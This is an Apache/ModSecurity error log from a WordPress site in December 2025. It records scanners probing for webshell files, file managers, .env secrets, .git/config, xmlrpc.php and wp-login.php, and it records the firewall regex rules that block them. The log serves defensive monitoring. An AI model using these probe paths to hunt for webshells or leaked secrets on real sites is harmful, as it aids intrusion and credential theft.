[Sat Dec 20 07:41:09.528647 2025] [:error] [pid 18807:tid 18831] [client 45.86.202.65:46093] [client 45.86.202.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aUXilWRP9n5OCTllYeUSYgAAAZY"]
[Sat Dec 20 07:41:10.418281 2025] [:error] [pid 39491:tid 39512] [client 45.86.202.87:29407] [client 45.86.202.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aUXilltw2ggYvDxu2EDg_QAAABE"]
[Sat Dec 20 07:41:11.028627 2025] [proxy_fcgi:error] [pid 39493:tid 39563] [client 45.86.202.70:25347] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:41:11.605481 2025] [:error] [pid 39493:tid 39562] [client 45.86.202.70:25347] [client 45.86.202.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aUXil2hjL2VG_FmIHqArdAAAAI0"]
[Sat Dec 20 07:41:12.199624 2025] [proxy_fcgi:error] [pid 14286:tid 14298] [client 45.86.202.58:58115] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:41:12.494693 2025] [proxy_fcgi:error] [pid 14286:tid 14312] [client 45.86.202.58:58115] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 07:41:12.799266 2025] [:error] [pid 14286:tid 14306] [client 45.86.202.58:58115] [client 45.86.202.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aUXimJ7rbXIrw6rGSdbKXgAAAVA"]
[Sat Dec 20 07:41:13.692874 2025] [:error] [pid 14247:tid 14254] [client 45.86.202.99:52599] [client 45.86.202.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aUXimSDv9TtKKdJQn9lsrwAAAQU"]
[Sat Dec 20 07:41:51.889339 2025] [:error] [pid 14286:tid 14314] [client 45.86.202.72:48265] [client 45.86.202.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tmps/"] [unique_id "aUXiv57rbXIrw6rGSdbM1QAAAVg"]
[Sat Dec 20 12:14:01.435962 2025] [:error] [pid 14286:tid 14298] [client 34.66.65.140:58680] [client 34.66.65.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.66.65.140, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUYiiZ7rbXIrw6rGSdYSGgAAAUg"]
[Sat Dec 20 12:14:01.447090 2025] [proxy_fcgi:error] [pid 14286:tid 14298] [client 34.66.65.140:58680] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 12:14:03.863123 2025] [:error] [pid 14286:tid 14311] [client 34.66.65.140:58680] [client 34.66.65.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aUYii57rbXIrw6rGSdYSJQAAAVU"]
[Sat Dec 20 12:14:04.348352 2025] [:error] [pid 18807:tid 18823] [client 34.66.65.140:63359] [client 34.66.65.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aUYijGRP9n5OCTllYeWBMwAAAY4"]
[Sat Dec 20 12:14:04.863296 2025] [:error] [pid 18807:tid 18809] [client 34.66.65.140:62051] [client 34.66.65.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aUYijGRP9n5OCTllYeWBNAAAAYA"]
[Sat Dec 20 12:14:05.599564 2025] [:error] [pid 18807:tid 18825] [client 34.66.65.140:55780] [client 34.66.65.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aUYijWRP9n5OCTllYeWBNQAAAZA"]
[Sat Dec 20 12:14:06.528652 2025] [:error] [pid 18807:tid 18811] [client 34.66.65.140:53150] [client 34.66.65.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aUYijmRP9n5OCTllYeWBOAAAAYI"]
[Sat Dec 20 12:14:07.318219 2025] [:error] [pid 18807:tid 18827] [client 34.66.65.140:57471] [client 34.66.65.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aUYij2RP9n5OCTllYeWBOQAAAZI"]
[Sat Dec 20 17:09:11.986062 2025] [:error] [pid 14286:tid 14301] [client 194.180.49.167:60588] [client 194.180.49.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aUZnt57rbXIrw6rGSdZC5QAAAUs"]
[Sat Dec 20 17:09:13.777663 2025] [:error] [pid 39577:tid 39597] [client 194.180.49.167:60594] [client 194.180.49.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aUZnubviRnt1rJiSOfwrugAAANI"]
[Sat Dec 20 17:09:15.124654 2025] [:error] [pid 39577:tid 39594] [client 194.180.49.167:60610] [client 194.180.49.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "aUZnu7viRnt1rJiSOfwrvgAAAM8"]
[Sat Dec 20 17:09:16.464472 2025] [:error] [pid 39493:tid 39566] [client 194.180.49.167:21554] [client 194.180.49.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.development"] [unique_id "aUZnvGhjL2VG_FmIHqDCWAAAAJE"]
[Sat Dec 20 17:09:18.117680 2025] [:error] [pid 39577:tid 39591] [client 194.180.49.167:21568] [client 194.180.49.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.production"] [unique_id "aUZnvrviRnt1rJiSOfwrwwAAAMw"]
[Sat Dec 20 17:09:19.434223 2025] [:error] [pid 14286:tid 14305] [client 194.180.49.167:21580] [client 194.180.49.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "aUZnv57rbXIrw6rGSdZC7QAAAU8"]
[Sat Dec 20 17:09:21.087215 2025] [:error] [pid 39491:tid 39495] [client 194.180.49.167:21586] [client 194.180.49.167] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/backend/.env"] [unique_id "aUZnwVtw2ggYvDxu2EBPVwAAAAA"]
[Sat Dec 20 17:09:25.145480 2025] [proxy_fcgi:error] [pid 39577:tid 39579] [client 194.180.49.167:21624] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 17:09:27.752243 2025] [proxy_fcgi:error] [pid 39491:tid 39513] [client 194.180.49.167:33326] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 17:09:29.064053 2025] [proxy_fcgi:error] [pid 14286:tid 14306] [client 194.180.49.167:33328] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 17:09:31.756298 2025] [proxy_fcgi:error] [pid 39491:tid 39501] [client 194.180.49.167:33344] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 17:09:33.133413 2025] [proxy_fcgi:error] [pid 39491:tid 39514] [client 194.180.49.167:33350] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 17:09:38.782089 2025] [:error] [pid 14286:tid 14297] [client 194.180.49.167:13514] [client 194.180.49.167] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/debug.log"] [unique_id "aUZn0p7rbXIrw6rGSdZC-gAAAUc"]
[Sat Dec 20 18:07:17.957197 2025] [:error] [pid 39577:tid 39585] [client 49.43.140.64:54070] [client 49.43.140.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.140.64, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aUZ1VbviRnt1rJiSOfw2IwAAAMY"]
[Sat Dec 20 18:07:17.968161 2025] [proxy_fcgi:error] [pid 39577:tid 39585] [client 49.43.140.64:54070] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 18:29:36.260951 2025] [:error] [pid 39493:tid 39572] [client 72.11.150.128:59744] [client 72.11.150.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aUZ6kGhjL2VG_FmIHqDTsQAAAJc"], referer: https://www.google.com
[Sat Dec 20 21:45:52.579232 2025] [proxy_fcgi:error] [pid 62124:tid 62134] [client 85.203.34.14:39843] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:45:53.504671 2025] [proxy_fcgi:error] [pid 62124:tid 62148] [client 85.203.34.14:39843] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:45:53.842438 2025] [:error] [pid 62124:tid 62132] [client 85.203.34.14:39843] [client 85.203.34.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aUaokVs94zPA9ULQOjmFEQAAAAY"]
[Sat Dec 20 21:45:54.545627 2025] [proxy_fcgi:error] [pid 39493:tid 39572] [client 85.203.34.8:20287] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:45:54.933187 2025] [:error] [pid 39493:tid 39558] [client 85.203.34.8:20287] [client 85.203.34.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aUaokmhjL2VG_FmIHqACcQAAAIk"]
[Sat Dec 20 21:45:57.626623 2025] [proxy_fcgi:error] [pid 33844:tid 33868] [client 85.203.34.14:62819] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:45:58.232605 2025] [proxy_fcgi:error] [pid 33844:tid 33869] [client 85.203.34.14:62819] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:45:58.542620 2025] [proxy_fcgi:error] [pid 33844:tid 33847] [client 85.203.34.14:62819] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:45:58.848679 2025] [proxy_fcgi:error] [pid 33844:tid 33846] [client 85.203.34.14:62819] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:45:59.428377 2025] [:error] [pid 33844:tid 33850] [client 85.203.34.14:62819] [client 85.203.34.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aUaolyaNtwGsyqqVmQH9iAAAAwQ"]
[Sat Dec 20 21:46:00.139711 2025] [proxy_fcgi:error] [pid 62124:tid 62139] [client 85.203.34.33:48157] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:00.457735 2025] [proxy_fcgi:error] [pid 62124:tid 62143] [client 85.203.34.33:48157] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:00.900601 2025] [:error] [pid 62124:tid 62126] [client 85.203.34.33:48157] [client 85.203.34.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aUaomFs94zPA9ULQOjmFewAAAAA"]
[Sat Dec 20 21:46:01.475563 2025] [:error] [pid 33844:tid 33850] [client 85.203.34.34:65491] [client 85.203.34.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aUaomSaNtwGsyqqVmQH9rAAAAwQ"]
[Sat Dec 20 21:46:02.024207 2025] [:error] [pid 39577:tid 39594] [client 85.203.34.18:22721] [client 85.203.34.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aUaomrviRnt1rJiSOfxs9wAAAM8"]
[Sat Dec 20 21:46:02.948283 2025] [:error] [pid 39493:tid 39549] [client 85.203.34.43:21609] [client 85.203.34.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aUaommhjL2VG_FmIHqACzwAAAIA"]
[Sat Dec 20 21:46:03.836366 2025] [:error] [pid 62124:tid 62139] [client 85.203.34.41:41449] [client 85.203.34.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aUaom1s94zPA9ULQOjmFsAAAAA0"]
[Sat Dec 20 21:46:05.001630 2025] [proxy_fcgi:error] [pid 33793:tid 33804] [client 85.203.34.10:20015] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:05.972017 2025] [:error] [pid 33793:tid 33808] [client 85.203.34.10:20015] [client 85.203.34.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dropdown.php"] [unique_id "aUaonVSicyB0BFmbRMzY0wAAAs0"]
[Sat Dec 20 21:46:06.617622 2025] [proxy_fcgi:error] [pid 39493:tid 39567] [client 85.203.34.3:43977] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:06.957026 2025] [:error] [pid 39493:tid 39569] [client 85.203.34.3:43977] [client 85.203.34.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aUaonmhjL2VG_FmIHqAC-QAAAJQ"]
[Sat Dec 20 21:46:07.568500 2025] [:error] [pid 33570:tid 33589] [client 85.203.34.32:40137] [client 85.203.34.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aUaon4TNveA-c6YcSrIUMAAAAc0"]
[Sat Dec 20 21:46:08.482631 2025] [proxy_fcgi:error] [pid 14247:tid 14250] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:08.814630 2025] [proxy_fcgi:error] [pid 14247:tid 14270] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:09.139529 2025] [proxy_fcgi:error] [pid 14247:tid 14267] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:09.430953 2025] [proxy_fcgi:error] [pid 14247:tid 14253] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:09.718151 2025] [proxy_fcgi:error] [pid 14247:tid 14269] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:10.028656 2025] [proxy_fcgi:error] [pid 14247:tid 14268] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:10.309689 2025] [proxy_fcgi:error] [pid 14247:tid 14252] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:10.621618 2025] [proxy_fcgi:error] [pid 14247:tid 14261] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:10.948612 2025] [proxy_fcgi:error] [pid 14247:tid 14255] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:11.242724 2025] [proxy_fcgi:error] [pid 14247:tid 14254] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:11.531954 2025] [proxy_fcgi:error] [pid 14247:tid 14267] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:11.845481 2025] [proxy_fcgi:error] [pid 14247:tid 14256] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:12.169074 2025] [proxy_fcgi:error] [pid 14247:tid 14260] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:12.687623 2025] [proxy_fcgi:error] [pid 14247:tid 14251] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:12.978644 2025] [proxy_fcgi:error] [pid 14247:tid 14263] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:13.293918 2025] [proxy_fcgi:error] [pid 14247:tid 14258] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:13.619604 2025] [proxy_fcgi:error] [pid 14247:tid 14272] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:13.909427 2025] [proxy_fcgi:error] [pid 14247:tid 14258] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:14.219829 2025] [proxy_fcgi:error] [pid 14247:tid 14263] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:14.585609 2025] [proxy_fcgi:error] [pid 14247:tid 14266] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:15.107651 2025] [proxy_fcgi:error] [pid 14247:tid 14252] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:15.404601 2025] [proxy_fcgi:error] [pid 14247:tid 14264] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:15.726917 2025] [proxy_fcgi:error] [pid 14247:tid 14269] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:16.036841 2025] [proxy_fcgi:error] [pid 14247:tid 14261] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:16.321615 2025] [proxy_fcgi:error] [pid 14247:tid 14263] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:16.612599 2025] [proxy_fcgi:error] [pid 14247:tid 14264] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:16.926647 2025] [proxy_fcgi:error] [pid 14247:tid 14266] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:17.224952 2025] [proxy_fcgi:error] [pid 14247:tid 14250] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:17.533618 2025] [proxy_fcgi:error] [pid 14247:tid 14268] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:17.830609 2025] [proxy_fcgi:error] [pid 14247:tid 14262] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:18.120604 2025] [proxy_fcgi:error] [pid 14247:tid 14252] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:18.437607 2025] [proxy_fcgi:error] [pid 14247:tid 14272] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:18.762919 2025] [proxy_fcgi:error] [pid 14247:tid 14256] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:19.070254 2025] [:error] [pid 14247:tid 14266] [client 85.203.34.24:20973] [client 85.203.34.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.24, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aUaoqyDv9TtKKdJQn9kbmQAAARE"]
[Sat Dec 20 21:46:19.103617 2025] [proxy_fcgi:error] [pid 14247:tid 14266] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:19.881622 2025] [proxy_fcgi:error] [pid 14247:tid 14265] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:20.231614 2025] [proxy_fcgi:error] [pid 14247:tid 14270] [client 85.203.34.24:20973] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:20.573812 2025] [:error] [pid 14247:tid 14256] [client 85.203.34.24:20973] [client 85.203.34.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/modules.php"] [unique_id "aUaorCDv9TtKKdJQn9kbqwAAAQc"]
[Sat Dec 20 21:46:21.218631 2025] [proxy_fcgi:error] [pid 39577:tid 39579] [client 85.203.34.36:37367] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:21.555703 2025] [proxy_fcgi:error] [pid 39577:tid 39585] [client 85.203.34.36:37367] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:22.236630 2025] [proxy_fcgi:error] [pid 39577:tid 39602] [client 85.203.34.36:37367] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:46:22.557621 2025] [proxy_fcgi:error] [pid 39577:tid 39586] [client 85.203.34.36:37367] AH01071: Got error 'Primary script unknown'
